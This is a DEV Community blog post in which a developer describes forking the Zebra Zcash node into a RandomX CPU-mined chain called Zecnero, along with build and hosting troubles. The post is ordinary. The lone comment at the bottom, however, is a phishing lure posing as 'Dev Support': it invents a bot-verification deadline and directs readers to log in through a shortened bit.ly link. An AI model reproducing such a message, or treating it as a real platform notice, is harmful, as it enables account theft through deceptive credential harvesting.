DEV Community

Cover image for Forking Zebra: turning Zcash into a CPU-mined chain as a solo dev
zecnero
zecnero

Posted on

Forking Zebra: turning Zcash into a CPU-mined chain as a solo dev

Zcash is one of the few chains with real shielded transactions. Mining it at home stopped making sense years ago. Equihash ASICs took over, and a regular PC earns nothing.

I wanted a version where my own desktop could still find blocks. So I forked Zebra, the Rust Zcash node, and called it Zecnero.

What changed

The biggest change is proof of work. Equihash is gone. Zecnero uses a RandomX variant, the same family Monero uses, which runs best on general-purpose CPUs. I maintain a Rust binding for it and a fork of XMRig to mine it, with the dev donation set to zero.

Orchard stays. Shielded transactions work from block 1, and I pulled in the NU6.2 Orchard fixes at height 1 so the chain starts with the fixed circuit instead of adding it later.

Supply caps around 21 million with Bitcoin-style halvings. No tail emission. No premine and no sale. There is a founder share, it's written into the spec, and it pays to a multisig that stays separate from my own mining wallet.

Things that went wrong

My first build machine was WSL2 on Windows. Zebra's target directory grew to 94 GB during a build and filled the virtual disk, and WSL crashed. Now every repo has a hard rule to run cargo clean after each milestone, and I check free space before any build.

The project's GitHub org got flagged for abuse after my CI runner hit GitHub with over a hundred requests in a burst. The repos went invisible to logged-out visitors. I moved everything to GitLab.

Seed nodes are two KVM boxes, one in Toronto and one in the UK. They don't mine, ever. That's a rule I keep so the seeds stay boring and reliable.

Where it is now

The public testnet went live on September 24. There's an explorer, downloadable binaries and a small Discord of people mining it on whatever CPUs they have.

If you want to poke at a Zebra fork, or you just want to see what your CPU does on a RandomX variant, everything is here:

Questions about the fork itself are welcome in the comments.

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

‌‍